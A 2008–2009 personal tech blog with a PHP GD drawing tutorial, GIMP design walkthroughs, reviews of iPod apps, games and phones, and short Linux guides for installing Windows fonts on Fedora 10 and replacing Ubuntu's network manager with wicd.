Just a little bulbing :p

#1 Designing Rubik's cube in PHP: The basics, phpgd usage

2009-07-06T12:17:00.009+02:00

Firstly I should introduce you one library we will need today. It's called phpgd and it brings some useful functions. We wouldn't get far without them so it's important to have this lib installed. In Linux you can simply install it using your add/remove application. Once you have it installed you can check if it's enabled using phpinfo();

Ok, let's say the phpgd is ready, what are the new possibilities you can do with that now? We will start with something simple for beginning. Keep in your mind that every line/polygon/whatever in the final image needs to be scripted first, so, first think than write. We will script a square on a blank screen now. There are 2 ways how to do it /I believe you are able to figure out any third/forth way but let's say there are only 2/. You can command four lines and position them so they make a square. Yeah, that's possible of course but fortunatelly there is a native function for rendering a square. My point is that if you aren't sure what you can/can't do, go through this list of all phpgd functions in the official php documentation http://php.net/manual/en/ref.image.php and find the best which fits your idea. Let's get back to what we started, firstly we need to define the blank image.

<?php

/**
* Blank image 400x400 using phpgd...
*/
// set the HTTP header type to PNG
header("Content-type: image/png");
// set a new image 400x400px
$im = imagecreatetruecolor(400, 400);
// set the white color
$white = imagecolorallocate($im, 255, 255, 255);
// fill the image with white (defined in previous step) starting at position [0,0]
imagefill($im, 0, 0, $white);
// send the new PNG image to the browser
ImagePNG($im);
// destroy the reference pointer to the image in memory to free up resources
ImageDestroy($im);

This code doesn't need much explanation, the important things are mentioned in the comments. Maybe you are looking for the php ending tag ?>. Well, it's not important to write it there, it's not a mistake. Both versions with/without this tag are acceptable. If you don't see the output in your browser, press ctrl+a so you select the image, it should went blue. Or fill the image with any other color than white. E.g. black:
$black = imagecolorallocate($im, 0, 0, 0);
Let's move on now and script the square. We will use the function imagerectangle()

imagerectangle ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color )

The usage is pretty simple. The first parameter is the "image" (variable $im in our case). Next four pamaremeter are the coordinates. I should also mention that the [0;0] coordinate is the top left corner of the image. [400;400] is the bottom right corner of the image (in our case). So we can make a border around the image for instance...

<?php

/**
* Blank image 400x400 with a black sqare on it using phpgd...
*/
// set the HTTP header type to PNG
header("Content-type: image/png");
// set a new image 400x400px
$im = imagecreatetruecolor(400, 400);
// set the colors
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);
// fill the image with white (defined in previous step) starting at position [0,0]
imagefill($im, 0, 0, $white);
// make a border around the image
imagerectangle($im, 0, 0, 399, 399, $black);
// send the new PNG image to the browser
ImagePNG($im);
// destroy the reference pointer to the image in memory to free up resources
ImageDestroy($im);

This brings a nice black square. I think I should say a few words about setting the colors in phpgd. The function imagecolorallocate() has four parameters.

imagecolorallocate ( resource $image , int $red , int $green , int $blue )

This function returns a color identifier representing the color composed of the given RGB components. The first parameter defines the "image", next three define the color. These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF. So how would you define for example a blue color? Simply...

$blue = imagecolorallocate($im, 0, 0, 255);
$darkblue = imagecolorallocate($im, 0, 0, 100);
$lightblue = imagecolorallocate($im, 100, 100, 255);

I added a light blue and dark blue color, I hope it helps you to understand how it works.

I think that's enough for today. Next time we will script a cube and make it all a little more "universal". So see you

Brain Tuner - Give your brain a tune-up

2009-07-01T19:00:00.010+02:00

BrainTuner is a free app for iPhone which tests how fast you are in counting. The interface is really easy to navigate. Firstly you select the mode. It depends on how many problems you want to solve, but you have to choose among 20/50/100 problems. Every mode has its own "best time". After you start the game, you have to decide whether the equations are right or wrong. It's quite addictive after a while.

My personal best time for the 20 problems is 9.36 seconds, I don't know if it's good or bad, you can let me know in the comments.

Copy&paste on the iPhone and iPod Touch with Clippy

2009-05-03T12:29:00.009+02:00

Have you ever thought of being able to copy&paste on iPhone or iPod Touch? Apple announced that this feature will be a part of the firmware 3.0, which will be introduced somewhen in summer. For those who can’t wait is here the Clippy app. This app enables you to copy&paste on the iPhone and also iPod Touch. The only limitation is that you have to have the Cydia app, which is only avalible on the jailbroken iPhones. You can’t find Clippy on the Appstore ‘cause Apple is against this kind of utilities.

I’d now like to describe how to install it ‘cause I had some problems with finding it in Cydia. First, you need to have the iSpazio repo in your sources. If you don’t have it than go to Manage (in Cydia), click Edit and Add. Then use this source: http://ispaziorepo.com/cydia/apt and click Add source. After that go to Sections (the bottom menu in Cydia) and click Edit. Find the System cat and turn it ON. Now search for Clippy and it should appear.
The usage of Clippy is pretty simple and intuitive (and also pretty awesome at the same time). Normally when you hold a finger on the screen, the magnifier appears. Holding the finger for a bit longer brings a menu where you can select whether you want to copy or paste or view the stack. The clipboard works through the applications. That means that you can copy some text from a web page and paste it into your notes and save.

Obviously there were many hours spent on programming Clippy, so I'm quite curious with what Apple comes in the firmware 3.0.

Designing iPod Touch in Gimp!

2009-04-09T12:53:00.012+02:00

Today I'd like to show you how to design iPod Touch in Gimp. First of all I should say that iPod Touch doesn't look exactly the same as the iPhone. There are some differences in the appearance. Let's try to make it!
1) Open up Gimp and create a new document. It depends on the size of the picture because the iPod has some proportions and we don't want to break them. I chose 350x580.You should get a blank white picture.
2) Select all (shortcut: ctrl+a) go to the menu and shrink the selection by 30px. Go to the selection menu and press the Rounded rectangle (30%).
3) Now you have still a blank picture but with a rounded selection in the middle. In this step we will fill it with a gradient. Create a new layer (call it Outer Border) and pick the gradient tool (shorcut: L). Use the default colors (black as the foreground and white as the background) and change the gradient shape to 'Radial'. Start in the middle and drag out of the picture. You should get something like this:

4) I hope you didn't cancel the rounded selection, otherwise you can delete the image and start again. Or you can also right-click the 'Outer Border' layer and select 'Alpha to selection' :)
5) Create a new layer and call it Dark Border. Go to the menu and shrink the selection by 2px. Fill it with black (shortcut: shift+b)

6) Right-click the Dark Border layer and select 'Alpha to selection'. Shrink the selection by 2px and create a new layer called Light Gray. We are going to fill it with a gradient so pick the gradient tool (shortcut: L). Don't change the shape, it will be radial again.
7) Now pick some light gray colors and again as in the 4th step, start in the middle and drag out of the canvas. I used #dcdcdc as the foreground color and #c6c6c6 as the background color. The result should look like this:

8) Right-click the Light Gray layer and select the 'Alpha to selection' option. Shrink it by 1px. That's not all, we will play with the selection a little in this step. Pick the Rectangle select tool (shortcut: r) and click into the selection. Four handles should now appear (one in each corner); that means we can modify the selection. We will adjust the height of the picture (1px on the top and 1px on the bottom). This picture should say more:

9) After the modification go to Select - Rounded Rectangle (30%) and fill it with black. This should you get:

10) At this point we will make the Home button. Pick the Elipse select tool (shortcut: e) and make the selection in the bottom of the image, in the place where the home button should be. While making the selection I advice you to hold Shift 'cos it will make a circle not an elipse.
11) After that create a new layer and call it Home Button. I prefer to fill it with white and than adjust the opacity but you can fill it directly with some gray color, that's up to you.
12) The grey circle is fine but there is also a white square on the iPod. Same procedure as in the 10th step. I made another layer (Home Button #1) which isn't necessary. Pick the Rectangle select tool (shorcut: r), go to select - rounded rectangle (I used 50%) and fill it with white or whatever color you like. Than go to select, shrink it by 1px and click the delete button. Here is what I got:

13) Attentive readers noticed that we forgot one necessary thing, it's the power button. There is nothing difficult about that. Create a new layer called Power button and move down under all layers (but above the Background layer).
14) Make a little rectangle selection (shortcut: r) and fill it with black (shortcut: shift+b). Than move it (shortcut: m) wherever you want.
15) In the final step we will draw the display. Right-click the Inner Background layer and select 'Alpha to selection'. Pick the Rectangle select tool (shortcut: r). Hold ctrl+shift and select the area where the display should be, like on the picture below. Select a bit larger area, we will shrink it in the next step.

16) As I said, we will shrink the area to get some distance between the display and the edge. Go to the menu Select and shrink it by 10px. I think 10px is ok, but again, it's up to you. Even at this point you can adjust the area how you want.
17) After that create a new layer and call it Display. Fill it with white and adjust the opacity.

And that's it. I know it's not 100% real but the first association should be the iPod. Here is my result:

And here is the same result with the background image:

And here is the result with some additional adjustments. That means I added some gradients, shadows, lights and brushes:

Thanks for reading, I hope it was useful.

Quake Live - First Impression

2009-03-29T17:07:00.017+02:00

Introduction

The title of this article is Quake Live, let's start with a little background. ID Software, which stands behind the project Quake Live, is a video game development company. It was founded in the prehistoric computer age in 1991. ID Soft firstly shocked the world with the game Doom in 1993. Doom is the younger brother of Wolfenstein 3D with a lot of improvements on graphics, gameplay and effects. There still exists a no small community around Doom nowadays.

Moving on, ID Soft released the first Quake in 1996. Thanks to the huge players' community ID Soft came out with Quake 2 in 1997 and two years later with Quake 3 Arena.

Quake Live: Capture the Flag:

Quake Live: You have to hit the F3 button to start the match:

I suppose you all know the Q3A, it's a legendary game. Quake's main innovation is the capability to play a deathmatch (competitive gameplay between living opponents instead of against computer-run characters) over the Internet.

Let's get back to Quake Live. What is it and why do I write about it now? The answer is simple. ID Software again shows its power and introduces a browser-plugin based video game. In fact it's the old Quake 3 Arena running in your web broswer with loads of new features. It's based on the same engine as Doom3.

Since late 2008 there was a invitation-only closed beta. On February 24 2009, the game progressed from closed beta to open beta. Within the first 6 hours after launch over 110,000 player accounts were created.

Prepare to fight

You need to register to start playing. After that you receive an email with a link to continue (standard procedure). The browser-plugin starts the installation, which takes about 10 minutes. After the installation you are invited to the Quake Live by a female bot named Crash. She shows you the basic tricks. She speaks fluent and intelligible. After the speech you have to play a duel with her. It's because of the skill of players. You are automatically divided into a skill group after the match. This kinda guarantees you to have a good game with other players.
I was really surprised by the graphics. Everything is perefectly same as in the Quake 3 Arena. I had a feeling that the graphics is even better. It's a feast for your eyes.

Quake Live: Free for All:

Quake Live: The Quad Damage Bonus:

The are 6 game modes in Quake Live.

Duel (1on1) - Player versus player (1-on-1) combat. Whoever gets the most frags before the time is up wins.
Free for All (FFA) - Players engage in a match, where everyone fights for themselves. Whoever hits the frag limit ends the game, and this person wins. The fraglimit is mostly 50. When the time limit expires, the match will also end. All weapons are avalible in this mode (it's the difference between FFA and Instagib).

Team Deathmatch (TDM) - Same rules as 'Free for All' but in this mode, two teams fight each other.
Capture the Flag (CTF) - Each team has a base, holding a flag. To earn points and win the game, a team has to take the opposite flag, and return them to their own.
Clan Arena - Teambased gameplay, everyone starts fully equipped with full armor and weapons. When fragged, the player must wait for the next round to begin. Players can rocket jump with no health penalty.
Instagib - This is my favourite mode. It's a FFA in fact where players start with only a Railgun, which always delivers one-hit kills. Instagib servers are unranked.

Conclusion

I really like the idea and I cross my fingers and hope ID Software will bring the project to the end. At this time Quake Live only runs on Windows XP/Vista in web browsers Firefox and IE 7/8. There are speculations of a portability to Linux and Mac, I'm looking forward to it.

You can check the Quake Live twitter to be in the picture. Finally you can also add me as a friend and challenge me than ;) My nickname is bulb.

Windows fonts in Fedora 10

2009-03-20T16:25:00.005+01:00

Today I decided to install the windows fonts on my Fedora 10. The main reason was because of the fonts shown in the web browser (Firefox). Many sites I visit every day use the windows fonts which have their equivalents in Linux but I don't like it. As far as I'm concered I guess that when Firefox gets a definition of some paragraph that it's meant to be in Verdana, it uses some equivalent font, which is not the same and looks weird. It's my personal opinion but I just don't like those equivalents.
So I launched Google and was looking for some tutorial which whould explain me how to install the windows fonts. I found loads of them, but none worked. I knew I did the same search about a year ago but I couldn't remember the site.
Finally I found a nice step-by-step tutorial which worked well so I want to share it with people doing the same thing, and also for me, I might need it in the future.

Advice: Use ctrl+shift+v to copy into your console.

1

wget http://www.my-guides.net/en/images/stories/fedora10/msttcore-fonts-2.0-2.noarch.rpm

su -c 'rpm -ivh msttcore-fonts-2.0-2.noarch.rpm'

su -c 'yum install rpmdevtools rpm-build cabextract ttmkfdir'

rpmdev-setuptree

cd ~/rpmbuild/SPECS/

wget http://www.my-guides.net/en/images/stories/fedora10/msttcore-fonts-2.0-2.spec

rpmbuild -bb msttcore-fonts-2.0-2.spec

cd ~/rpmbuild/RPMS/noarch/

su -c 'rpm -ivh msttcore-fonts-2.0-2.noarch.rpm'

The result:

Source: http://my-guides.net

8 Pros and Cons of iPod Touch

2009-03-03T21:05:00.010+01:00

Today I'd like to sum up the pros and cons about the iPod Touch. I've been using Touch for about one year so I would like to write a list of pros and cons based on my own experience. Let's start with the Pros.

Design and construction

Everybody knows that Apple is known for its well designed products. It's also said that the design is the first and also last thing Apple is good in, but I will get to it in the article later. Let's go back to the design of iPod Touch, it doesn't stand out of the others and I can honestly say I really like the sleeky design, who doesn't, right? It's only 8.5mm thick (0.33 inch) and weights 125 grams which appreciates everyone who carries often the iPod in a pocket. At this point I should also mention the 3.5 inch display which is made of some super duper material. After about one year of using the iPod I don't have even 1 scratch on the display which is amazing and I'm glad for that.
Another thing is that the construction seems to be very solid. I have to admit that Touch sometimes falls out of my pocket while changing the clothes, but fortunately it still lives :p

User interface

Next thing I'd like to talk about is the user interface. The system acts really intuitively and it's easy for everyone to control it. Touch doesn't have the hardware keyboard but you can easily make do with the software keyboard. It detects when you put your funger out of the display so you can choose the letter you want even the ground is shaking, for instance in car, bus, train or while walking.
What really rocks is the multi-touch function. You can glide through albums with Cover Flow, flick through photos and enlarge them with a pinch, zoom in and out on a section of a web page, and control game elements precisely.
Of course I can't forget the accelerometer which is perfect specially for gaming. When you rotate from portrait to landscape you for instance rotate your photo, get a larger keyboard or invoke the Cover Flow if you are in Music.

The wifi connectivity

iPod Touch automatically locates nearby wireless networks and connects to them if you allow it. I appreciate this function because I have a wifi network both at school and at home. And sometime it's quite useful to be able to access Internet at school :p

Loads of apps

I suppose I should also mention that App Store offers tons of apps for both iPhone and iPod nowadays. It's not true when someone says that there are no applications for iPod. App Store divides the applications into categories so you can easily pick or search between them. Even directly from the Touch/iPhone thanks to the same named application called 'App Store', which also indicates updates for apps installed on your device.

So those were the Pros, now I should write some Cons, which isn't easy for me, but still, there are some :p

Battery life

I know, iPod is a small device so it's not supposed to go for weeks without recharging. But on the other hand when I have 100% battery in the morning and I use the iPod a lot during the day, it's usually totally discharged at evening. With regular using, which means some web browsing, listening to music, playing games or writing notes, it's able to go for 2 or 3 days without recharging.

Linux

Unfortunatelly iTunes can be only used in Mac or Win. So there is no way to connect the Touch/iPhone to a computer with Linux, because Touch requires iTunes for its connectivity and synchronisation. Another disadvantage which is connected with this issue is that Touch doesn't act as an external disk. The only way how to get 'into' Touch is using iTunes (or via SSH for expert users).

Reproductor

I wasn't sure about moving this into pros or cons, but I guess it's a disadvantage for most of people. You may ask why, but it's simply 'cause I don't need the reproductor. My old mp3 player had a reproductor, but the contact between the headphone jack and the mp3 wasn't as reliable as I thought. Sometimes happened that I inadvertently shared listening to music with other people because the mp3 thought there are no headphones so it started playing to the reproductor laudly. Generally speaking I don't see it as an disadvantage.

The video format

First I should say that watching movies on a 3.5 inch display with 480x320px resolution is possible :p But you have to convert the movie first. As far as I know, Touch can handle only .mpg format and only in the correct resolution. There are programs for the converting, I especially like the MediaCoder. You can download MediaCoder iPhone edition from this link.

That's all for now, I hope this list was useful for you, cya later.

Spacetime 3.0 - The basic tricks

2009-02-08T20:09:00.011+01:00

Spacetime is the best calculator for iPod/iPhone I know. It's not only a calculator, Spacetime also includes a 2D/3D plotter, equation solver, mathematical constants, loads of functions, allows you to write your own functions by scripting them; Spacetime is able to work with fractions, complex numbers and so. I would like to show you how to use the basic functions and how to save your time.

Writing (only iPod/iPhone)
This feature works only for these two devices, turn your ipod into landscape position; a keyboard appears and you can write difficult equations and commands much easier.

Fractions
Spacetime is able to return a result as a fraction. For example sinus(π/4) returns √2/2 and 0.7071... if you click once more the 'Solve button' or the "N" icon.

Plot two or more graphs into one image
Sometimes it's useful to see more graphs in one image. For instance let's say you want to plot the three-phase current. In fact we will plot three sinus graphs with 2π/3 offset. The trick to plot more graphs together is in separating them with a comma.

Plot(sin(x),sin(x+2π/3),sin(x+4π/3))

And you get the result.

Roots
Maybe there is a better way but I couldn't find an easier way. For example you want to get the fifth root of 32. Here is my solution:

5√32 //doesn't work, returns 5*√32
32^(1/5) //works fine, returns 2

Solving quadratic equations quickly
The most effective and also fastest way I know to solve a quadratic equation actually comes from the tutorial but it's useful to remember the syntax. There are two alternatives how to solve a quadratic equation (e.g. 3x^2+5x-2)

Solve(3x^2+5x-2)
Solve(3,5,-2)

The second one is the tricky way. Logically, you insert three variables (a,b,c) ax^2+bx+c. If for instance b=0, you insert 0 as the second parameter. Very useful shorthand.

Expand() function
Stuff like (a+b)^3 seems to be not working in Spacetime, right? Fortunately we have the expand() function. The usage is very easy, expand() function has only one parameter and it's the expression you want to solve (a+b)^n, n stands for a natural number (or maybe a fraction too? I have no experience).

I'm sure you will take a fancy to Spacetime soon. The best thing is that it is portable to many pocket devices including iPod and iPhone. But you can also use Spacetime on your PC or even Mac with no restrictions. Visit the home page of SpaceTime to get more information.

First impressions of Fedora Cambridge

2009-01-24T20:13:00.024+01:00

Yesterday I decided to download and install Fedora 10, also known as Fedora Cambridge. Fedora is based on Red Hat Linux, which was divided few years ago into two systems: Red Hat (commercial, for money) and Fedora (open-source, free). I was always used to Debian based systems, firstly Debian Sarge, than Ubuntu and Xubuntu. I decided to try Fedora and give it a shot.

Download Fedora 10 for free

The design of Fedora is so precious. Even the installer looks neat. Some people think that installation of Linux is only for experts and geeks, but it's not true anymore. I bet that a hen would handle it if you put some grain around the enter button. Fedora Cambridge also includes functions to encrypt your storage, which were improved.

Plymouth is a new graphical boot process which fires up Fedora in about 15 seconds. Unfortunately I'm not lucky and I can't enjoy the graphics, but if you have AMD/ATI graphic card you will see this (youtube link) every time you boot. I have to manage with four colors loader. Moreover what is not typical, plymouth starts the X server on the first virtual server (ctrl+alt+f1).

After the system is booted, you are introduced by a friendly melody. The default Solar wallpaper and theme are just fine. I also turned on the desktop effects. If you know Vista Aero, this looks very similar. Generally Fedora 10 is really well designed and friendly.

There is still a problem with playing movies whose codecs aren't free. Those xvid/mp4/wmv video etc. and also audio mp3 formats aren't supported by default. But this can be solved quite easily, you need to download "bad" and "ugly" codecs. Go to the "add/remove application" and look for "gstreamer-plugins" than find those bad and ugly and your videos should work fine.

Moving your mouse to the top right corner causes this organization of windows so you can select which one you want. I like this idea and I find it very useful mainly if you have more windows opened.

OpenOffice.org 3.0 is the default office package in Fedora 10. The Writer application seems pretty good.

The new GIMP 2.6 is a good alternative of Photoshop. The new feature causes minimizing all gimp's dialogs together.

I absolutely recommend you to try Fedora 10 or even set it as your main OS. Fedora 9 was full of bugs but Fedora 10 tries to by a powerful system for your machine and it tries really well.

Retro style poster - Tutorial

2008-12-31T15:26:00.022+01:00

Hey, today I will show you how to make a retro style poster. We will try to achieve this result:

Create a new document, I chose 800x600, but it's up to you.
First create a new layer called "Colors" (ctrl+shift+n). Select the Brush tool (p) and draw a line in the corner of the picture with a color #f0f0f0. This color won't be very visible, but it's also not the absolute white (cause it's #ffffff). So it will make a border which we need, because we will fill the area with a color using the Bucket Fill tool later. I chose brush Circle(03).
Now pick the Bucket Fill tool (shift+b) and fill the areas you created in the second step. I used these colors: #4bd2c1, #137e70, #ea2a2a.
We will add a texture. Download this texture and add it as a new layer called "Texture". Or open the image right in your web browser and don't fear to drag and drop it right into Gimp, Gimp will handle it.
Set the layer mode (of the "Colors" layer) to multiply. Move the layers to get this order: Colors, Texture, Background. You should get this result:
Create a new layer and call it "Girl". Download this set of brushes and copy it into your "brushes" folder. I chose one and I wanted to flip it horizontally. This can be easily done by pushing shift+f and clicking on the picture.
Now we will add a car. Download this car and open it as a new document in Gimp. We will need to "separate" the car from the background.
We will use the Path tool to separate the car. Don't worry, it's not as difficult as it looks. (It's much more difficult :p). Select the Path tool (b) and click somewhere where the car borders on the background. Check the picture below, first make two points, than add another in the middle (by holding ctrl and clicking in the middle) than move this new point so you get the right curve. Using this method continue around the car.
Finally you should get this result, go to the Path dialog and click the icon "path to selection". Go to our previous picture and create a new layer called "Car", than copy the car in there. Again I had to flip it horizontally.
This looks quite unnaturally, I would like to move the girl's hand "in front" of the car. We can easily achieve this. First, right-click the "Girl" layer and select "alpha to selection". Pick the Free Select tool (f). Make sure that "Intersection mode" is checked; this will make a new selection from the area where the existing selection region and the new selection region overlap. Than go to the "Car" layer and draw something like this (picture below). Than click delete (make sure you are working on the "Car" layer) and it should be done; unselect all using the key combination ctrl+shift+a.
Pick the Text tool (t) and write a text you want, somewhere. I wrote "Retro Style" on the top of the picture. Using the Rectangle selecttion (r) and the Bucket Fill tool (shift+b) try to make some letters longer.
Now right-click on the layer with text and select "alpha to selection". Create a new layer and name it "Text border", move it under the text layer in the layer dialog.
Click Select - Grow (8px) and fill the selection with black. It will look weird but set the layer mode to "Saturation" and it will be ok.
To finish the poster I would like to make a border around the car and the girl. How to achieve this? Click the "Girl" layer and get the alpha to selection. Than go to Selection editor (Menu - Select - Selection editor) and click the icon on the bottom "save the selection to the channel". Do the same with the "Car" layer. Now open up Channel dialog. There should be something like "selection mask" and "selection mask copy#1". Select the first one and click on the icon on the bottom (second from the right), select the second one and click that icon again while holding shift button. You should get a selection of the "Car" layer and the "Girl" layer together.
Create a new layer called "Border". Go to Select - Grow (8px) and fill it with white. Set the transparency of the layer to 50% and move this layer between "Girl" and "Colors" layers.
To make the text readable right-click the "Text border" layer, go to the "Girl" layer and push the delete button. Press ctrl+shift+a unselect all.

In-ear headphone technology - best sound ever

2008-12-27T14:04:00.005+01:00

I needed to buy new headphones, because my old apple headphones, which I got jointly with iPod Touch in April, were broken (after 9 months of usage). I decided to look for some "in-ear". I was told those ones are really good and I got a recommendation from many friends who use them. In-ear headphones are extraordinary because of their construction. They should cut out unwanted background sound, which causes that you get amazing bass response for all types of music. Finally I bought some Genius, which were quite cheap. After couple of days of using them, I can say the quality of the sound is just amazing. I can hear things which I couldn't before. And at the same time, I can't hear things in the background I could before thanks to the silicon packing :p.

Apple headphones - unexpected quality

2008-12-27T12:27:00.008+01:00

I bought my iPod Touch in April 2008. I also got headphones in the package and I've used them about one hour a day since then, approximately. The quality of the sound seemed quite good to me. I liked the design, the "apple white" is a very nice color; the length of the cable is just fine. I expected a very good quality, because new apple headphones weren't cheap /at that time/.
Few months later it turned out that the quality of the material (and also sound later) isn't as good as I expected. The rubber ring on the top of the earphone ripped up (on both earphones) which caused the earphone didn't fit well into my ear. Also the rubber bottom ripped up, which wasn't important to me, but it looks weird.

Next thing was the rubber protection on the jack, which also ripped up, so I cut it (red line). This didn't affect the headphones in any way or I thought so :p. Once I wanted to disconnect headphones from my PC, the rubber isolation stucked in my hand and the jack was still connected to the PC. Fortunately the cable stayed of a piece, but the wires showed up (yellow line).

PF 2009

2008-12-24T21:37:00.002+01:00

I wish you all merry Christmas and happy New year 2009. Peace and best of luck and lot of success and a lot of gifts and happiness and haleness.

SpaceTime 3.0 - The best calculator for iPhone/iPod Touch

2008-12-17T19:13:00.011+01:00

I use iPod as a calculator in my math lessons at school. Since the 2.0 firmware version there is a better calc. Just rotate the iPod to the landscape position and you get loads of functions for solving complex science and math problems. But what I missed was a graph plotter and an equation solver.
A friend of mine announced me, that a version of Spacetime is avalible for iPhone/iPod Touch. I already knew this app, but didn't know that it's portable on iPod.

When you run Spacetime first time, you are welcomed by a very nice tutorial, which describes the work with Spacetime. Tutorial is devided into 9 parts (Basics, Solve Quadratic Equations, Calculus, 2D Graphing, 3D Graphing, Matrices, Custom Functions, Scripting and Scroll Function).

So I'm now able to solve the quadratic equations very quickly, which I need frequently at school. Actually I only have to enter the variables a, b and c, and I get the result immediately, even the equation doesn't have a solution in R numbers. In this case I get two complex roots.

Another feature I noticed is that Spacetime is able to count with the fractions. For instance you want to solve sin(60°) and you get the right answer (√3/2). Or you click to solve again and it is converted to a number (0.866...).

Next thing is the scripting feature. I would like to learn this because scripts really save your time. Maybe I'll write an article about scripting in Spacetime in the future.

Link to the official Spacetime website.

Anther screenshots:

Nokia N97 Overview

2008-12-10T17:37:00.009+01:00

Some time ago, I wrote an article about Nokia N810, Internet tablet device. Recently I've heard a news that Nokia is comming out with a new device called Nokia N97. I made a connection with N810 because I find a similarity in the appearance between these two devices. Both of them have a kick-out full QWERTY keyboard.

N97 is running Symbian S60 5th generation. I'm not surprised, because Nokia is running Symbian for a long time. But still I see an advantage of using Windows Mobile on these devices. One of the reasons is Office (Word, Excel, Power Point..) which is fully supported in Windows Mobile. For example I find it very difficult to read office documents on my iPod Touch. Finally I found a solution how to read office documents but I can't edit them and sometimes I have problems with the new format "docx". But I have no experience with the new Symbian, maybe reading and editing Office documents is already solved somehow. In comparison N810 runs Linux.

N97 offers a widescreen display with resolution 640x360 (16:9). Which is not bad, for example iPod Touch's resolution is 480x320 and I'm quite content while watching movies :) but again in comparison with N810 it's a bit smaller screen. N810 has res. 800x480.

What impressed me is the 5MPx camera. N810 has a VGA resolution (640x480) if I'm not mistaken. 5MPx is a move forward, the quality of photos should be good enough. The camera is also supported by dual led camera flash.

Here is the technical specification:

5MPx camera, (VGA video)
Bluetooth connectivity
WiFi
3.5 inch display
3.5mm Audio Jack
GPS
32GB integrated memory (extendable up to 48GB)
hardware QWERTY keyboard
weight 150g (iPhone - 133g)
OS - Symbian S60 5th generation
640x360 (16:9) display, 16 million colors
Video capture: MPEG-4 VGA (640 x 480) at up to 30 fps

Web 2.0 Calendar icon in Gimp [Tutorial]

2008-11-25T20:50:00.012+01:00

Today I will show you how to create a Web 2.0 calendar icon in Gimp. I use the latest version of Gimp, which is 2.6.1, I recommend you to download this version but it's just an advice, an older version won't limit you in this tutorial. Let's start.

First create an image in Gimp, it's OK to have a large one, I chose 640x480 to have a large canvas around the image. Fill it with white (if it's not already).

Go to selection tool (R) and make a selection which will be the "inside" of your icon (so make it aptly large). Go to Layers and create a new layer. Call it "Icon inside". Fill it with white (it won't make any change now)

Go to Layers and make a new layer called "Black outer border". Go to Select - Grow (3px). Go to Select - Rounded rectangle (3% Radius). Fill it with black and move it under the "Icon inside" layer. Here is what you should get:

Now right click on the "Icon inside" layer and select Alpha to selection. Create a new layer called "Red heading". You will need to select the top of the white layer called "Icon inside" so go to selection tool (R) hold the Control button on your keyboard and select something more than the lower half. Than fill it (B) with red (#db1b1b). Unselect all (Ctrl+Shift+A)

At this point, we we'll try to make a lighting which will add a realistic appearance. I will use the Path tool. Stay calm, there is nothing to worry about. Make two points, than add the third one (by holding Control button) between them and move it. When you finish and you are happy with the result, the first step is done. You should have a curve, make some more points to make a fluent "selection".

Right click the "Red header" layer and select Alpha to selection. Make a new layer called "Lighting". Go to Path dialog, there should be something like "path to selection". Hold Control+Shift buttons and click on that icon. Fill the selection with white and set the opacity to 15%.

I will do something very similar on the bottom of the image. Select Alpha to selection of the "Icon inside" layer and make a new layer called "Shadow". This new "Shadow" layer should lay above the "Icon inside" layer and under "Red header" layer. Make a curve using the path tool, go to Path dialog, click on the "Path to selection" icon (while holding Control and Shift buttons) and fill it with black, than adjust the opacity.

You can also stroke the path and add a border of the shadow but: you will have to make another layer for it (because of the very low opacity used on the "Shadow" layer) and you will need to erase those parts of the stroked line which aren't included in the "Icon inside" layer.

To make it more realistic, you can add a shadow. Select the "Black outer border" layer. Go to Filters - Light and Shadow - Drop shadow (0px, 0px, 8, black, 80%). Here is my final result:

Problem with network in Ubuntu Intrepid Ibex [Solved]

2008-11-16T23:34:00.009+01:00

Few days ago, I installed the newest version of Xubuntu called Intrepid Ibex. This version fixes some things and also includes some updates for applications I'm used to use. For instance Gimp 2.6 or Network manager and here the problem comes. The old version of Network manager, which I used in Xubuntu 8.04, worked just fine for me.
I work on my notebook so sometimes I switch between the cable and wifi connection, the old Network manager handled this fine but the new version doesn't. What's worse, the network didn't work at all in Intrepid Ibex for me. Sometimes I was lucky and I connected via wifi, but the connection was very unpredictable at all.
So I went through some Ubuntu forums hoping I would find a solution. And fortunatelly I found. The solution is a program called wicd.
Here is what I had to do, step by step:

1)

sudo

echo "deb http://apt.wicd.net intrepid extras" >> /etc/apt/sources.list

wget -q http://apt.wicd.net/wicd.gpg -O- | sudo apt-key add -

apt-get update

apt-get remove network-manager

6) Now because I definitely cut myself from the internet by uninstalling the network manager I had to download manually (from another computer) .deb package of wicd from here. Download a free network manager wicd.deb from SourceForge.net.

7) When you get the .deb file on your Ubuntu Linux, you just double click on the file, and it will start installation. And that's all, since this moment, my network works again. =)

SUMO Paint

2008-10-31T18:26:00.003+01:00

The progress is moving forward extremely fast nowadays. The thing you bought a year ago is now an old stuff. The progress is so fast that you can see things which you really wouldn’t expect. Some of them you can see on the Internet. It’s said that a lot of applications are moving on the web. The reason is pretty clear, you don’t have to install these applications (well, they require some plug-ins), and they are available from the whole world. The problem is that these apps are sometimes slow, because they run in your web browser. An ordinary application running on the web is for instance your web mail-client (like G-Mail). But there are many more: a blogging system, chat, also IRC chat-client, internet radio, internet TV and, and now read carefully, a graphic editor.

Yes, SUMO Paint is a web graphic editor. And it’s no “simple” editor for drawing straight lines, circles or squares; it’s an editor comparable with Gimp or Photoshop.

You are required to have a flash player (9), which I have, so I had no problem with running it. The registration was really friendly. (You don’t need to be registered to use SUMO Paint). I have to admit that I’m always lazy to register myself somewhere. It’s boring to write the name, pass (twice), email (twice) and some other “required” things, but this registration took me about 5 seconds or so. The form looks like a log-in form extended for an email field and a checkbox “I read the rules…” When you click “Register” you are immediately registered and the login form becomes pre-filled with your name and pass.

The application opens in a new window. The appearance is very similar to Photoshop. There is a menu on the top (File, Edit, Image, Select…) Tool box, Layer box, Color picker box etc. Everything is moveable; the user interface is really friendly even it’s made in flash and it runs in a web browser. I can say some things are even better solved than in Photoshop or Gimp. That’s for example the right column. When you “minimize” one of the boxes, the others adjust their height automatically.

Let’s go through some features now.

1) I like the full screen feature. You turn it on here (View – Enter Full Screen Mode) and turn it off by pressing Esc. I think that the YouTube player has the same feature so maybe this is a native function of Flash.

2) Layers. One of the functions I wouldn’t be able to live without. So it’s pretty nice that this editor supports them. And what’s more, you can set the “Layer effects” for each layer, like in Photoshop.

3) Symmetry Tool. I’ve never seen this before. How to describe it… I set 4 points of symmetry. I started drawing somewhere and made a quarter of a circle and it made automatically a full circle. This tool is amazing :p you can make beautiful creations easily. Experiment with the gravity and the points of symmetry, you will get nice results.

4) Filters. Again, useful thing. You get a preview immediately.

5) SUMO Paint also offers you some own brushes, which are pretty good.

